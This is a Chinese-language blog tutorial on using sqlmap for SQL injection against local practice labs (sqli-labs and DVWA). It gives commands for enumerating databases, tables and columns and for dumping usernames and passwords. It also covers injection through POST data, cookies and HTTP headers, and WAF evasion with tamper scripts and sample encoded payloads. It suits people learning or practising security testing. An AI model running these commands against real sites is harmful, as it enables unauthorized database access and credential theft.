sql注入-sqlmap的使用方法

获取一个url:
http://localhost/sqli-labs-master/Less-1/?id=1
判断是否有注入:python sqlmap.py –u “http://localhost/sqli-labs-master/Less-1/?id=1”
get型注入
查看所有数据库:python sqlmap.py –u “http://localhost/sqli-labs-master/Less-1/?id=1” –dbs
查看当前使用的数据库:python sqlmap.py –u “http://localhost/sqli-labs-master/Less-1/?id=1” --current-db

在这里插入图片描述
查看当前用户:python sqlmap.py –u “http://localhost/sqli-labs-master/Less-1/?id=1” --current-user

在这里插入图片描述

查看数据表:python sqlmap.py -u "http://localhost/sqli-labs-master/Less-1/?id=1" -D security --tables
在这里插入图片描述

查看字段名:python sqlmap.py -u "http://localhost/sqli-labs-master/Less-1/?id=1" -D security -T users --columns

在这里插入图片描述

查看数据:python sqlmap.py –u “http://localhost/sqli-labs-master/Less-1/?id=1” -D security -T users -C username,password --dump

在这里插入图片描述

post型注入

1.指定post数据:python sqlmap.py –u “http://localhost/DVWA-master/vulnerabilities/sqli/” --data “post数据”
其余参数同get
Cookie注入
指定cookiepython sqlmap.py –u “http://localhost/DVWA-
master/vulnerabilities/sqli/?id=1&Submit=Submit” --cookie “…cookie值”
其余参数同get
如果不扫描cookie参数可尝试提高等级:–level 1-5
post与cookie举例:
语句:python sqlmap.py -u "http://localhost/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit" --data "id=1&Submit=Submit" cookie"security=medium;PHPSESSID=d397avpf1n2jneqsfgo0etqjl6" --current-db --batch
在这里插入图片描述

2.指定.txt文件:python sqlmap.py –r .txt文件
其余参数同get
http头部注入
-r 测速.txt文件中带*的注入点
post与Referer举例:
语句:python sqlmap.py -r test.txt --current-db --batch
在这里插入图片描述
在这里插入图片描述在这里插入图片描述

扫描二维码关注公众号,回复: 10049909 查看本文章

使用sqlmap进绕过waf机制

介绍
sqlmap中的tamper给我们带来了很多防过滤的脚本,非常实用,通过自带的tamper,或者自行编写tamper(路径:安装目录sqlmap\tamper),可以帮助我们绕过waf进行自动化攻击
使用
指定脚本:
–tamper “脚本名”(“apostrophemask”)
例:python sqlmap.py –u “http://localhost/sqli-labs-master/Less-1/?id=1” --tamper “脚本名”
常用脚本:
apostrophemask.py:
用utf8代替引号–>(“1 AND ‘1’='1”) ‘1 AND %EF%BC%871%EF%BC%87=%EF%BC%871’
base64encode.py :
用base64编码替换–>(“1’ AND SLEEP(5)#”)‘MScgQU5EIFNMRUVQKDUpIw==’
multiplespaces.py:
围绕SQL关键字添加多个空格–>(‘1 UNION SELECT foobar’)‘1 UNION SELECT foobar’
space2plus.py:
用+替换空格–>(‘SELECT id FROM users’)‘SELECT+id+FROM+users’
nonrecursivereplacement.py:
双重查询语句,取代predefined SQL关键字with表示suitable for替代(例如 .replace(“SELECT”、”")) filters–>(‘1 UNION SELECT 2–’)‘1 UNIOUNIONN SELESELECTCT 2–’
space2randomblank.py:
代替空格字符(“”)从一个随机的空白字符可选字符的有效集–>(‘SELECT id FROM users’)‘SELECT%0Did%0DFROM%0Ausers’
unionalltounion.py:
替换UNION ALL SELECT UNION SELECT–>(’-1 UNION ALL SELECT’)’-1 UNION SELECT’
securesphere.py:
追加特制的字符串–>(‘1 AND 1=1’)“1 AND 1=1 and ‘0having’=‘0having’”
例:
语句:python sqlmap.py -u "http://localhost/sqli-labs-master/Less-21/index.php" --cookie "uname=admin" -p uname --tamper "base64encode" --level 5 --dbms mysql --dbs --batchl

在这里插入图片描述

发布了42 篇原创文章 · 获赞 67 · 访问量 5217

猜你喜欢

转载自blog.csdn.net/weixin_42299610/article/details/104719138